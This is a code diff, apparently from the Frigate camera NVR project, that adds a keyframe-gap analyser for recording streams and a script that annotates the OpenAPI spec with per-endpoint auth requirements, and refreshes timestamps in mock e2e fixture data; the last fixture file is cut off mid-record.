+KEYFRAME_PROBE_WINDOW_SECONDS = 20
+KEYFRAME_GAP_WARNING_SECONDS = 4.0
+
+
+def parse_keyframe_packets(output: str) -> Tuple[List[float], Optional[float]]:
+    """Parse ffprobe CSV `pts_time,flags` output.
+
+    Returns the presentation timestamps of keyframes (flags containing "K")
+    and the maximum timestamp observed across all packets.
+    """
+    keyframe_pts: List[float] = []
+    max_pts: Optional[float] = None
+
+    for line in output.splitlines():
+        parts = line.split(",")
+        if len(parts) < 2:
+            continue
+        try:
+            pts = float(parts[0])
+        except ValueError:
+            continue
+        if max_pts is None or pts > max_pts:
+            max_pts = pts
+        if "K" in parts[1]:
+            keyframe_pts.append(pts)
+
+    return keyframe_pts, max_pts
+
+
+def classify_keyframe_gaps(
+    keyframe_pts: List[float], segment_time: int
+) -> dict[str, Any]:
+    """Classify keyframe spacing for recording suitability.
+
+    A camera using a smart/+ codec or a long/variable GOP produces large or
+    irregular gaps between keyframes, which breaks time-based recording
+    segmentation. Severity:
+      - "unknown" when fewer than two keyframes were observed
+      - "error" when the longest gap exceeds the record segment length
+      - "warning" when the longest gap exceeds the warning threshold
+      - "ok" otherwise
+    """
+    thresholds = {
+        "warning": KEYFRAME_GAP_WARNING_SECONDS,
+        "error": segment_time,
+    }
+
+    if len(keyframe_pts) < 2:
+        return {
+            "keyframe_count": len(keyframe_pts),
+            "max_gap": None,
+            "mean_gap": None,
+            "min_gap": None,
+            "segment_time": segment_time,
+            "severity": "unknown",
+            "thresholds": thresholds,
+        }
+
+    gaps = [b - a for a, b in zip(keyframe_pts, keyframe_pts[1:])]
+    max_gap = max(gaps)
+
+    if max_gap > segment_time:
+        severity = "error"
+    elif max_gap > KEYFRAME_GAP_WARNING_SECONDS:
+        severity = "warning"
+    else:
+        severity = "ok"
+
+    return {
+        "keyframe_count": len(keyframe_pts),
+        "max_gap": round(max_gap, 2),
+        "mean_gap": round(sum(gaps) / len(gaps), 2),
+        "min_gap": round(min(gaps), 2),
+        "segment_time": segment_time,
+        "severity": severity,
+        "thresholds": thresholds,
+    }
+
+
+async def analyze_record_keyframes(
+    ffmpeg, url: str, segment_time: int, window: int = KEYFRAME_PROBE_WINDOW_SECONDS
+) -> dict[str, Any]:
+    """Probe a stream for ~`window` seconds and classify its keyframe spacing.
+
+    Reads video packet flags via ffprobe to find keyframes, then measures the
+    gaps between them. On timeout or failure returns an "unknown" result rather
+    than a false all-clear.
+    """
+    clean_url = escape_special_characters(url)
+    cmd = [
+        ffmpeg.ffprobe_path,
+        "-v",
+        "error",
+        "-select_streams",
+        "v:0",
+        "-read_intervals",
+        f"%+{window}",
+        "-show_entries",
+        "packet=pts_time,flags",
+        "-of",
+        "csv=p=0",
+        clean_url,
+    ]
+
+    try:
+        proc = await asyncio.create_subprocess_exec(
+            *cmd,
+            stdout=asyncio.subprocess.PIPE,
+            stderr=asyncio.subprocess.PIPE,
+        )
+        stdout, _ = await asyncio.wait_for(proc.communicate(), timeout=window + 15)
+    except asyncio.TimeoutError:
+        logger.warning("Keyframe probe timed out for record stream")
+        proc.kill()
+        return classify_keyframe_gaps([], segment_time)
+    except OSError as err:
+        logger.error("Keyframe probe failed: %s", err)
+        return classify_keyframe_gaps([], segment_time)
+
+    keyframe_pts, max_pts = parse_keyframe_packets(stdout.decode("utf-8", "replace"))
+    result = classify_keyframe_gaps(keyframe_pts, segment_time)
+    result["duration_observed"] = round(max_pts, 2) if max_pts is not None else None
+    return result
+
+
 def vainfo_hwaccel(device_name: Optional[str] = None) -> sp.CompletedProcess:
     """Run vainfo."""
     if not device_name:

frigate/video/ffmpeg.py

@@ -24,7 +24,7 @@ from frigate.config.camera.updater import (
 )
 from frigate.const import PROCESS_PRIORITY_HIGH
 from frigate.log import LogPipe
-from frigate.util.builtin import EventsPerSecond, get_ffmpeg_arg_list
+from frigate.util.builtin import EventsPerSecond, get_record_segment_time
 from frigate.util.ffmpeg import start_or_restart_ffmpeg, stop_ffmpeg
 from frigate.util.image import (
     FrameManager,
@@ -34,23 +34,6 @@ from frigate.util.process import FrigateProcess
 
 logger = logging.getLogger(__name__)
 
-# all built-in record presets use this segment_time
-DEFAULT_RECORD_SEGMENT_TIME = 10
-
-
-def _get_record_segment_time(config: CameraConfig) -> int:
-    """Extract -segment_time from the camera's record output args."""
-    record_args = get_ffmpeg_arg_list(config.ffmpeg.output_args.record)
-
-    if record_args and record_args[0].startswith("preset"):
-        return DEFAULT_RECORD_SEGMENT_TIME
-
-    try:
-        idx = record_args.index("-segment_time")
-        return int(record_args[idx + 1])
-    except (ValueError, IndexError):
-        return DEFAULT_RECORD_SEGMENT_TIME
-
 
 def capture_frames(
     ffmpeg_process: sp.Popen[Any],
@@ -185,7 +168,7 @@ class CameraWatchdog(threading.Thread):
         # `valid` segments are published with the segment's start time, so the
         # gap between consecutive publishes can reach 2 * segment_time. Pad the
         # staleness threshold so it's never tighter than that worst case.
-        segment_time = _get_record_segment_time(self.config)
+        segment_time = get_record_segment_time(self.config)
         self.record_stale_threshold = max(120, 2 * segment_time + 30)
 
         # Stall tracking (based on last processed frame)

generate_api_auth_spec.py

@@ -0,0 +1,606 @@
+"""Generate the OpenAPI spec from the app, annotated with auth requirements.
+
+This generator builds the FastAPI application, exports its OpenAPI document via
+``app.openapi()``, and enriches every operation with authentication metadata:
+
+  * a ``components.securitySchemes`` block,
+  * a per-operation ``security`` requirement (so the docs render a lock badge),
+  * an ``x-required-role`` extension for machine readers, and
+  * a short bold ``Access:`` note prepended to each operation description.
+
+The committed docs/static/frigate-api.yaml is the output of this script. It is
+generated rather than hand-maintained so it stays complete and current; the docs
+build (docusaurus-plugin-openapi-docs) consumes it as-is.
+
+The access level for an endpoint is determined by BOTH its route-level
+dependency (``require_role``/``allow_any_authenticated``/``allow_public``/
+``require_camera_access``) AND the global "secure by default" admin dependency,
+which is bypassed only for the paths listed in ``require_admin_by_default``.
+Those exempt lists are read directly from the function's closure so this script
+stays in lockstep with ``frigate/api/auth.py`` instead of duplicating them.
+
+Many handlers enforce per-camera access by calling ``require_camera_access``
+inside the handler body rather than as a route dependency, which dependency
+introspection cannot see. We recover those from the handler's bytecode (see
+``_handler_enforces_camera``) and promote an otherwise "any authenticated"
+operation to camera-scoped.
+
+Usage (from the repository root):
+
+    python3 generate_api_auth_spec.py            # write the spec
+    python3 generate_api_auth_spec.py --check    # CI guard: fail if stale
+
+The process exits non-zero if the generated document fails structural
+validation, or (in --check mode) if the committed spec is out of date.
+"""
+
+import argparse
+import difflib
+import inspect
+import io
+import logging
+import sys
+from pathlib import Path
+
+from fastapi import FastAPI
+from fastapi.routing import APIRoute
+from ruamel.yaml import YAML
+from ruamel.yaml.scalarstring import LiteralScalarString
+
+from frigate.api import app as main_app
+from frigate.api import (
+    auth,
+    camera,
+    chat,
+    classification,
+    debug_replay,
+    event,
+    export,
+    media,
+    motion_search,
+    notification,
+    preview,
+    record,
+    review,
+)
+from frigate.api.auth import require_admin_by_default
+
+logging.basicConfig(level=logging.INFO, format="%(message)s")
+logger = logging.getLogger("generate_api_auth_spec")
+
+REPO_ROOT = Path(__file__).resolve().parent
+OUTPUT_SPEC = REPO_ROOT / "docs" / "static" / "frigate-api.yaml"
+
+HTTP_METHODS = {"get", "post", "put", "delete", "patch"}
+
+# Banner written at the top of the generated spec.
+HEADER = (
+    "# Generated by generate_api_auth_spec.py — do not edit by hand.\n"
+    "# Regenerate with:  python3 generate_api_auth_spec.py\n"
+    "# The empty info.title is intentional: a docusaurus-openapi-docs convention\n"
+    "# that suppresses the generated API introduction page.\n"
+)
+
+# Post-processing applied on top of the raw app.openapi() export. These live
+# only in the published spec, not in the app, so they are reproduced here.
+SPEC_TITLE = ""
+SPEC_SERVERS = [
+    {"url": "https://demo.frigate.video/api"},
+    {"url": "http://localhost:5001/api"},
+]
+
+# Access levels, ordered from least to most privileged. The string values are
+# also what we emit as ``x-required-role``.
+PUBLIC = "public"
+AUTHENTICATED = "any"
+CAMERA = "camera"
+ADMIN = "admin"
+
+ADMIN_SCHEME = "frigateAdminAuth"
+USER_SCHEME = "frigateUserAuth"
+
+SECURITY_SCHEMES = {
+    ADMIN_SCHEME: {
+        "type": "apiKey",
+        "in": "cookie",
+        "name": "frigate_token",
+        "description": (
+            "Authenticated session whose resolved role is 'admin'. The session "
+            "is established via the JWT cookie issued by POST /login, or via "
+            "proxy auth headers (remote-user / remote-role) when Frigate runs "
+            "behind an authenticating reverse proxy."
+        ),
+    },
+    USER_SCHEME: {
+        "type": "apiKey",
+        "in": "cookie",
+        "name": "frigate_token",
+        "description": (
+            "Any authenticated session (role 'viewer' or higher), established "
+            "via the JWT cookie issued by POST /login, or via proxy auth "
+            "headers when Frigate runs behind an authenticating reverse proxy."
+        ),
+    },
+}
+
+# How each access level maps to a rendered note.
+ACCESS_NOTES = {
+    PUBLIC: "**Access:** Public — no authentication required.",
+    AUTHENTICATED: "**Access:** Any authenticated user.",
+    CAMERA: "**Access:** Authenticated user with access to the referenced camera.",
+    ADMIN: "**Access:** Admin role required.",
+}
+
+
+def build_app() -> FastAPI:
+    """Build a bare app with every router mounted.
+
+    This mirrors the router set wired up in frigate.api.fastapi_app. It omits
+    the global admin dependency and all runtime state; the OpenAPI route table
+    and the per-route dependencies are all we need to export and classify.
+    """
+    app = FastAPI()
+    routers = [
+        auth.router,
+        camera.router,
+        chat.router,
+        classification.router,
+        review.router,
+        main_app.router,
+        preview.router,
+        notification.router,
+        export.router,
+        event.router,
+        media.router,
+        motion_search.router,
+        record.router,
+        debug_replay.router,
+    ]
+    for router in routers:
+        app.include_router(router)
+    return app
+
+
+def read_exempt_rules() -> tuple[set[str], tuple[str, ...]]:
+    """Read the admin-exemption lists straight from the auth dependency closure.
+
+    Reading them here (rather than copying) keeps this generator in sync with
+    frigate/api/auth.py automatically.
+    """
+    closure = inspect.getclosurevars(require_admin_by_default()).nonlocals
+    exempt_paths = set(closure["EXEMPT_PATHS"])
+    exempt_prefixes = tuple(closure["EXEMPT_PREFIXES"])
+    return exempt_paths, exempt_prefixes
+
+
+def _first_segment(path: str) -> str:
+    return path.split("/", 2)[1] if path.startswith("/") and len(path) > 1 else ""
+
+
+def _route_markers(route: APIRoute) -> tuple[set[str], list[str] | None]:
+    """Return the set of recognized auth markers on a route's dependencies."""
+    markers: set[str] = set()
+    admin_roles: list[str] | None = None
+
+    for dep in route.dependant.dependencies:
+        call = dep.call
+        qualname = getattr(call, "__qualname__", "") or ""
+        name = getattr(call, "__name__", "") or ""
+
+        if "role_checker" in qualname:
+            markers.add(ADMIN)
+            try:
+                roles = inspect.getclosurevars(call).nonlocals.get("required_roles")
+                if roles:
+                    admin_roles = list(roles)
+            except (TypeError, ValueError):
+                pass
+        elif name in ("require_camera_access", "require_go2rtc_stream_access"):
+            markers.add(CAMERA)
+        elif "auth_checker" in qualname:
+            markers.add(AUTHENTICATED)
+        elif "public_checker" in qualname:
+            markers.add(PUBLIC)
+
+    return markers, admin_roles
+
+
+def _handler_enforces_camera(route: APIRoute) -> bool:
+    """True if the route handler calls require_camera_access in its body.
+
+    Such calls are invisible to dependency introspection. We detect them from
+    the handler's compiled bytecode: a global name referenced anywhere in the
+    function appears in ``__code__.co_names``. This catches direct calls (all of
+    them, currently); a call hidden behind a helper function would be missed.
+    """
+    code = getattr(route.endpoint, "__code__", None)
+    return bool(code and "require_camera_access" in code.co_names)
+
+
+def classify_route(
+    route: APIRoute,
+    exempt_paths: set[str],
+    exempt_prefixes: tuple[str, ...],
+) -> tuple[str, list[str] | None, str | None]:
+    """Resolve the effective access level for a route.
+
+    Returns (access_level, roles, flag). ``flag`` is a human-readable note when
+    the result needed inference or revealed a possible inconsistency.
+    """
+    level, roles, flag = _classify_base(route, exempt_paths, exempt_prefixes)
+
+    # In-body require_camera_access enforcement is invisible to dependency
+    # introspection. When the effective access would otherwise be "any
+    # authenticated", the handler's per-camera check is the real constraint, so
+    # promote it to camera-scoped. Admin/public are left alone: for admin the
+    # role is the binding requirement and the camera check is only defensive.
+    if level == AUTHENTICATED and _handler_enforces_camera(route):
+        return CAMERA, None, None
+
+    return level, roles, flag
+
+
+def _classify_base(
+    route: APIRoute,
+    exempt_paths: set[str],
+    exempt_prefixes: tuple[str, ...],
+) -> tuple[str, list[str] | None, str | None]:
+    """Resolve the access level from route-level dependencies and exempt rules."""
+    markers, admin_roles = _route_markers(route)
+    path = route.path
+    is_camera_path = _first_segment(path) == "{camera_name}"
+    exempt = path in exempt_paths or path.startswith(exempt_prefixes) or is_camera_path
+
+    # Explicit route-level markers win, in order of specificity.
+    if ADMIN in markers:
+        return ADMIN, admin_roles or ["admin"], None
+    if CAMERA in markers:
+        return CAMERA, None, None
+    if AUTHENTICATED in markers:
+        if exempt:
+            return AUTHENTICATED, None, None
+        # The route opts in to any-authenticated, but the global admin check is
+        # not bypassed for this path, so admin is what actually gets enforced.
+        return (
+            ADMIN,
+            ["admin"],
+            (
+                "route declares allow_any_authenticated but path is not exempt from "
+                "the global admin check; admin is effectively enforced"
+            ),
+        )
+    if PUBLIC in markers:
+        if exempt:
+            return PUBLIC, None, None
+        return (
+            ADMIN,
+            ["admin"],
+            (
+                "route declares allow_public but path is not exempt from the global "
+                "admin check; admin is effectively enforced"
+            ),
+        )
+
+    # No explicit auth marker: governed purely by the global default.
+    if not exempt:
+        return ADMIN, ["admin"], None
+
+    # Exempt with no route dependency: the global admin check is bypassed and
+    # there is no route-level gate, so authorization (if any) happens inside the
+    # handler. Infer from the path shape and flag for confirmation.
+    if is_camera_path:
+        return (
+            CAMERA,
+            None,
+            (
+                "no route-level dependency; camera-scoped path, authorization "
+                "assumed to be enforced in the handler"
+            ),
+        )
+    return (
+        AUTHENTICATED,
+        None,
+        (
+            "path is exempt from the global admin check but has no route-level "
+            "dependency; confirm authorization is enforced in the handler"
+        ),
+    )
+
+
+def build_access_map(
+    app: FastAPI,
+    exempt_paths: set[str],
+    exempt_prefixes: tuple[str, ...],
+) -> dict[tuple[str, str], dict]:
+    """Map (path, lowercase method) -> classification details."""
+    access_map: dict[tuple[str, str], dict] = {}
+    for route in app.routes:
+        if not isinstance(route, APIRoute):
+            continue
+        level, roles, flag = classify_route(route, exempt_paths, exempt_prefixes)
+        for method in route.methods:
+            if method in ("HEAD", "OPTIONS"):
+                continue
+            access_map[(route.path, method.lower())] = {
+                "level": level,
+                "roles": roles,
+                "flag": flag,
+                "path": route.path,
+                "method": method,
+            }
+    return access_map
+
+
+def security_for(level: str) -> list:
+    """Build the OpenAPI ``security`` value for an access level."""
+    if level == PUBLIC:
+        return []
+    if level == ADMIN:
+        return [{ADMIN_SCHEME: []}]
+    # AUTHENTICATED and CAMERA both require any authenticated session; the
+    # camera-specific scoping is conveyed in the note and x-required-role.
+    return [{USER_SCHEME: []}]
+
+
+def required_role_value(level: str, roles: list[str] | None):
+    if level == ADMIN and roles and roles != ["admin"]:
+        return roles
+    return level
+
+
+def annotate_description(operation: dict, note: str) -> None:
+    existing = operation.get("description")
+    if not existing:
+        operation["description"] = note
+        return
+    operation["description"] = LiteralScalarString(
+        f"{note}\n\n{str(existing).rstrip()}"
+    )
+
+
+def base_document(raw: dict) -> dict:
+    """Apply the docs pipeline post-processing with a stable top-level order."""
+    info = dict(raw.get("info", {}))
+    info["title"] = SPEC_TITLE
+    return {
+        "openapi": raw["openapi"],
+        "info": info,
+        "servers": [dict(server) for server in SPEC_SERVERS],
+        "paths": raw["paths"],
+        "components": raw.get("components", {}),
+    }
+
+
+def enrich(spec: dict, access_map: dict) -> tuple[dict, list, list]:
+    """Add security schemes and per-operation auth metadata in place."""
+    components = spec.setdefault("components", {})
+    components["securitySchemes"] = dict(SECURITY_SCHEMES)
+
+    counts: dict[str, int] = {}
+    flagged: list[dict] = []
+    unmatched: list[tuple[str, str]] = []
+
+    for path, path_item in spec["paths"].items():
+        for method, operation in path_item.items():
+            if method.lower() not in HTTP_METHODS:
+                continue
+            details = access_map.get((path, method.lower()))
+            if details is None:
+                unmatched.append((method.upper(), path))
+                continue
+
+            level = details["level"]
+            counts[level] = counts.get(level, 0) + 1
+            operation["security"] = security_for(level)
+            operation["x-required-role"] = required_role_value(level, details["roles"])
+            annotate_description(operation, ACCESS_NOTES[level])
+
+            if details["flag"]:
+                flagged.append(details)
+
+    return counts, flagged, unmatched
+
+
+# Numeric defaults at or above this magnitude are treated as live Unix
+# timestamps baked into the schema at import time (e.g. the /{camera_name}
+# /recordings after/before params default to datetime.now()). They make the
+# export non-deterministic and document a meaningless frozen epoch, so they are
+# stripped. The proper fix is to default those route params to None and resolve
+# "now" inside the handler.
+VOLATILE_DEFAULT_THRESHOLD = 1_000_000_000
+
+
+def strip_volatile_defaults(node, trail: str = "") -> list[tuple[str, float]]:
+    """Remove epoch-like numeric ``default`` values so the export is stable.
+
+    Returns the (location, value) pairs that were removed, for reporting.
+    """
+    removed: list[tuple[str, float]] = []
+    if isinstance(node, dict):
+        default = node.get("default")
+        if (
+            isinstance(default, (int, float))
+            and not isinstance(default, bool)
+            and default >= VOLATILE_DEFAULT_THRESHOLD
+        ):
+            removed.append((trail, default))
+            del node["default"]
+        for key, value in node.items():
+            removed.extend(strip_volatile_defaults(value, f"{trail}/{key}"))
+    elif isinstance(node, list):
+        for index, value in enumerate(node):
+            removed.extend(strip_volatile_defaults(value, f"{trail}[{index}]"))
+    return removed
+
+
+def to_block_scalars(node):
+    """Recursively render multi-line strings as literal block scalars.
+
+    Produces readable, deterministic YAML (``|-`` blocks) instead of long
+    double-quoted lines with escaped newlines.
+    """
+    if isinstance(node, dict):
+        return {key: to_block_scalars(value) for key, value in node.items()}
+    if isinstance(node, list):
+        return [to_block_scalars(value) for value in node]
+    if isinstance(node, str) and "\n" in node:
+        return LiteralScalarString(node)
+    return node
+
+
+def _iter_refs(node):
+    if isinstance(node, dict):
+        for key, value in node.items():
+            if key == "$ref" and isinstance(value, str):
+                yield value
+            else:
+                yield from _iter_refs(value)
+    elif isinstance(node, list):
+        for value in node:
+            yield from _iter_refs(value)
+
+
+def validate(spec: dict) -> list[str]:
+    """Structural sanity checks on the generated document."""
+    problems: list[str] = []
+    schemas = set(spec.get("components", {}).get("schemas", {}))
+    defined_schemes = set(spec.get("components", {}).get("securitySchemes", {}))
+
+    for ref in _iter_refs(spec):
+        if ref.startswith("#/components/schemas/"):
+            name = ref.rsplit("/", 1)[-1]
+            if name not in schemas:
+                problems.append(f"dangling $ref: {ref}")
+
+    for path, path_item in spec.get("paths", {}).items():
+        for method, operation in path_item.items():
+            if method.lower() not in HTTP_METHODS or not isinstance(operation, dict):
+                continue
+            location = f"{method.upper()} {path}"
+            if "x-required-role" not in operation:
+                problems.append(f"missing x-required-role: {location}")
+            if "security" not in operation:
+                problems.append(f"missing security: {location}")
+                continue
+            for requirement in operation["security"]:
+                for scheme in requirement:
+                    if scheme not in defined_schemes:
+                        problems.append(
+                            f"undefined security scheme {scheme}: {location}"
+                        )
+
+    return sorted(set(problems))
+
+
+def render(spec: dict) -> str:
+    """Serialize the spec to the canonical YAML string (with the header)."""
+    yaml = YAML()
+    yaml.width = 80
+    yaml.indent(mapping=2, sequence=4, offset=2)
+    stream = io.StringIO()
+    yaml.dump(spec, stream)
+    return HEADER + stream.getvalue()
+
+
+def build_spec() -> tuple[dict, dict, list, list, list]:
+    app = build_app()
+    exempt_paths, exempt_prefixes = read_exempt_rules()
+    access_map = build_access_map(app, exempt_paths, exempt_prefixes)
+
+    spec = base_document(app.openapi())
+    normalized = strip_volatile_defaults(spec)
+    counts, flagged, unmatched = enrich(spec, access_map)
+    spec = to_block_scalars(spec)
+    return spec, counts, flagged, unmatched, normalized
+
+
+def main(argv: list[str] | None = None) -> int:
+    parser = argparse.ArgumentParser(description="Generate the annotated OpenAPI spec.")
+    parser.add_argument(
+        "--check",
+        action="store_true",
+        help="verify the committed spec is up to date without writing; "
+        "exit non-zero if it would change",
+    )
+    args = parser.parse_args(argv)
+
+    spec, counts, flagged, unmatched, normalized = build_spec()
+    problems = validate(spec)
+    rendered = render(spec)
+
+    if args.check:
+        return _check(rendered, problems)
+
+    if problems:
+        logger.error("Refusing to write — generated spec failed validation:")
+        for problem in problems:
+            logger.error("  %s", problem)
+        return 1
+
+    OUTPUT_SPEC.write_text(rendered)
+    _report(counts, flagged, unmatched, normalized)
+    logger.info("\nWrote %s", OUTPUT_SPEC.relative_to(REPO_ROOT))
+    return 0
+
+
+def _check(rendered: str, problems: list[str]) -> int:
+    name = OUTPUT_SPEC.relative_to(REPO_ROOT)
+    if problems:
+        logger.error("Generated spec failed validation:")
+        for problem in problems:
+            logger.error("  %s", problem)
+        return 1
+
+    current = OUTPUT_SPEC.read_text() if OUTPUT_SPEC.exists() else ""
+    if current == rendered:
+        logger.info("%s is up to date", name)
+        return 0
+
+    logger.error(
+        "%s is out of date. Regenerate with: python3 %s",
+        name,
+        Path(__file__).name,
+    )
+    diff = difflib.unified_diff(
+        current.splitlines(),
+        rendered.splitlines(),
+        fromfile=f"{name} (committed)",
+        tofile=f"{name} (generated)",
+        lineterm="",
+        n=2,
+    )
+    for shown, line in enumerate(diff):
+        if shown >= 60:
+            logger.error("  ... (diff truncated)")
+            break
+        logger.error("  %s", line)
+    return 1
+
+
+def _report(counts, flagged, unmatched, normalized) -> None:
+    logger.info("Access levels applied:")
+    for level in (PUBLIC, AUTHENTICATED, CAMERA, ADMIN):
+        logger.info("  %-14s %d", level, counts.get(level, 0))
+    logger.info("  %-14s %d", "total", sum(counts.values()))
+
+    if normalized:
+        logger.info("\nStripped volatile timestamp defaults (%d):", len(normalized))
+        for location, value in normalized:
+            logger.info("  %s = %s", location.lstrip("/"), value)
+
+    if flagged:
+        logger.info("\nFlagged for manual confirmation (%d):", len(flagged))
+        for item in flagged:
+            logger.info("  %-6s %s", item["method"], item["path"])
+            logger.info("         -> %s (%s)", item["level"], item["flag"])
+
+    if unmatched:
+        logger.info(
+            "\nOperations with no classification (%d) [unexpected]:", len(unmatched)
+        )
+        for method, path in unmatched:
+            logger.info("  %-6s %s", method, path)
+
+
+if __name__ == "__main__":
+    sys.exit(main())

web/.gitignore

@@ -12,6 +12,10 @@ dist
 dist-ssr
 *.local
 
+# Playwright
+playwright-report
+test-results
+
 # Editor directories and files
 .vscode/*
 !.vscode/extensions.json

web/e2e/fixtures/mock-data/cases.json

@@ -1 +1 @@
-[{"id": "case-001", "name": "Package Theft Investigation", "description": "Review of suspicious activity near the front porch", "created_at": 1775407931.3863528, "updated_at": 1775483531.3863528}]
+[{"id": "case-001", "name": "Package Theft Investigation", "description": "Review of suspicious activity near the front porch", "created_at": 1780597809.365581, "updated_at": 1780673409.365581}]

web/e2e/fixtures/mock-data/events.json

@@ -1 +1 @@
-[{"id": "event-person-001", "label": "person", "sub_label": null, "camera": "front_door", "start_time": 1775487131.3863528, "end_time": 1775487161.3863528, "false_positive": false, "zones": ["front_yard"], "thumbnail": null, "has_clip": true, "has_snapshot": true, "retain_indefinitely": false, "plus_id": null, "model_hash": "abc123", "detector_type": "cpu", "model_type": "ssd", "data": {"top_score": 0.92, "score": 0.92, "region": [0.1, 0.1, 0.5, 0.8], "box": [0.2, 0.15, 0.45, 0.75], "area": 0.18, "ratio": 0.6, "type": "object", "description": "A person walking toward the front door", "average_estimated_speed": 1.2, "velocity_angle": 45.0, "path_data": [[[0.2, 0.5], 0.0], [[0.3, 0.5], 1.0]]}}, {"id": "event-car-001", "label": "car", "sub_label": null, "camera": "backyard", "start_time": 1775483531.3863528, "end_time": 1775483576.3863528, "false_positive": false, "zones": ["driveway"], "thumbnail": null, "has_clip": true, "has_snapshot": true, "retain_indefinitely": false, "plus_id": null, "model_hash": "def456", "detector_type": "cpu", "model_type": "ssd", "data": {"top_score": 0.87, "score": 0.87, "region": [0.3, 0.2, 0.9, 0.7], "box": [0.35, 0.25, 0.85, 0.65], "area": 0.2, "ratio": 1.25, "type": "object", "description": "A car parked in the driveway", "average_estimated_speed": 0.0, "velocity_angle": 0.0, "path_data": []}}, {"id": "event-person-002", "label": "person", "sub_label": null, "camera": "garage", "start_time": 1775479931.3863528, "end_time": 1775479951.3863528, "false_positive": false, "zones": [], "thumbnail": null, "has_clip": false, "has_snapshot": true, "retain_indefinitely": false, "plus_id": null, "model_hash": "ghi789", "detector_type": "cpu", "model_type": "ssd", "data": {"top_score": 0.78, "score": 0.78, "region": [0.0, 0.0, 0.6, 0.9], "box": [0.1, 0.05, 0.5, 0.85], "area": 0.32, "ratio": 0.5, "type": "object", "description": null, "average_estimated_speed": 0.5, "velocity_angle": 90.0, "path_data": [[[0.1, 0.4], 0.0]]}}]
+[{"id": "event-person-001", "label": "person", "sub_label": null, "camera": "front_door", "start_time": 1780677009.365581, "end_time": 1780677039.365581, "false_positive": false, "zones": ["front_yard"], "thumbnail": null, "has_clip": true, "has_snapshot": true, "retain_indefinitely": false, "plus_id": null, "model_hash": "abc123", "detector_type": "cpu", "model_type": "ssd", "data": {"top_score": 0.92, "score": 0.92, "region": [0.1, 0.1, 0.5, 0.8], "box": [0.2, 0.15, 0.45, 0.75], "area": 0.18, "ratio": 0.6, "type": "object", "description": "A person walking toward the front door", "average_estimated_speed": 1.2, "velocity_angle": 45.0, "path_data": [[[0.2, 0.5], 0.0], [[0.3, 0.5], 1.0]]}}, {"id": "event-car-001", "label": "car", "sub_label": null, "camera": "backyard", "start_time": 1780673409.365581, "end_time": 1780673454.365581, "false_positive": false, "zones": ["driveway"], "thumbnail": null, "has_clip": true, "has_snapshot": true, "retain_indefinitely": false, "plus_id": null, "model_hash": "def456", "detector_type": "cpu", "model_type": "ssd", "data": {"top_score": 0.87, "score": 0.87, "region": [0.3, 0.2, 0.9, 0.7], "box": [0.35, 0.25, 0.85, 0.65], "area": 0.2, "ratio": 1.25, "type": "object", "description": "A car parked in the driveway", "average_estimated_speed": 0.0, "velocity_angle": 0.0, "path_data": []}}, {"id": "event-person-002", "label": "person", "sub_label": null, "camera": "garage", "start_time": 1780669809.365581, "end_time": 1780669829.365581, "false_positive": false, "zones": [], "thumbnail": null, "has_clip": false, "has_snapshot": true, "retain_indefinitely": false, "plus_id": null, "model_hash": "ghi789", "detector_type": "cpu", "model_type": "ssd", "data": {"top_score": 0.78, "score": 0.78, "region": [0.0, 0.0, 0.6, 0.9], "box": [0.1, 0.05, 0.5, 0.85], "area": 0.32, "ratio": 0.5, "type": "object", "description": null, "average_estimated_speed": 0.5, "velocity_angle": 90.0, "path_data": [[[0.1, 0.4], 0.0]]}}]

web/e2e/fixtures/mock-data/exports.json

@@ -1 +1 @@
-[{"id": "export-001", "camera": "front_door", "name": "Front Door - Person Alert", "date": 1775490731.3863528, "video_path": "/exports/export-001.mp4", "thumb_path": "/exports/export-001-thumb.jpg", "in_progress": false, "export_case_id": null}, {"id": "export-002", "camera": "backyard", "name": "Backyard - Car Detection", "date": 1775483531.3863528, "video_path": "/exports/export-002.mp4", "thumb_path": "/exports/export-002-thumb.jpg", "in_progress": false, "export_case_id": "case-001"}, {"id": "export-003", "camera": "garage", "name": "Garage - In Progress", "date": 1775492531.3863528, "video_path": "/exports/export-003.mp4", "thumb_path": "/exports/export-003-thumb.jpg", "in_progress": true, "export_case_id": null}]
+[{"id": "export-001", "camera": "front_door", "name": "Front Door - Person Alert", "date": 1780680609.365581, "video_path": "/exports/export-001.mp4", "thumb_path": "/exports/export-001-thumb.jpg", "in_progress": false, "export_case_id": null}, {"id": "export-002", "camera": "backyard", "name": "Backyard - Car Detection", "date": 1780673409.365581, "video_path": "/exports/export-002.mp4", "thumb_path": "/exports/export-002-thumb.jpg", "in_progress": false, "export_case_id": "case-001"}, {"id": "export-003", "camera": "garage", "name": "Garage - In Progress", "date": 1780682409.365581, "video_path": "/exports/export-003.mp4", "thumb_path": "/exports/export-003-thumb.jpg", "in_progress": true, "export_case_id": null}]

web/e2e/fixtures/mock-data/review-summary.json

@@ -1 +1 @@
-{"2026-04-06": {"day": "2026-04-06", "reviewed_alert": 1, "reviewed_detection": 0, "total_alert": 2, "total_detection": 2}, "2026-04-05": {"day": "2026-04-05", "reviewed_alert": 3, "reviewed_detection": 2, "total_alert": 3, "total_detection": 4}}
+{"2026-06-05": {"day": "2026-06-05", "reviewed_alert": 1, "reviewed_detection": 0, "total_alert": 2, "total_detection": 2}, "2026-06-04": {"day": "2026-06-04", "reviewed_alert": 3, "reviewed_detection": 2, "total_alert": 3, "total_detection": 4}}

web/e2e/fixtures/mock-data/reviews.json

@@ -1 +1 @@
-[{"id": "review-alert-001", "camera": "front_door", "start_time": "2026-04-06T09:52:11.386353", "end_time": "2026-04-06T09:52:41.386353", "has_been_reviewed": false, "severity": "alert", "thumb_path": "/clips/front_door/review-alert-001-thumb.jpg", "data": {"audio": [], "detections": ["person-abc123"], "objects": ["person"], "sub_labels": [], "significant_motion_areas": [], "zones": ["front_yard"]}}, {"id": "review-alert-002", "camera": "backyard", "start_time": "2026-04-06T08:52:11.386353", "end_time": "2026-04-06T08:52:56.386353", "has_been_reviewed": true, "severity": "alert", "thumb_path": "/clips/backyard/review-alert-002-thumb.jpg", "data": {"audio": [], "detections": ["car-def456"], "objects": ["car"], "sub_labels": [], "significant_motion_areas": [], "zones": ["driveway"]}}, {"id": "review-detect-001", "camera": "garage", "start_time": "2026-04-06T07:52:11.386353", "end_time": "2026-04-06T07:52:31.386353", "has_been_reviewed": false, "severity": "detection", "thumb_path": "/clips/garage/review-detect-001-thumb.jpg", "data": {"audio": [], "detections": ["person-ghi789"], "objects": ["person"], "sub_labels": [], "significant_motion_areas": [], "zones": []}}, {"id": "review-detect-002", "camera": "front_door", "start_time": "2026-04-06T06:52:11.386353", "end_time": "2026-04-06T06:52:26.386353", "has_been_reviewed": false, "severity": "detection", "thumb_path": 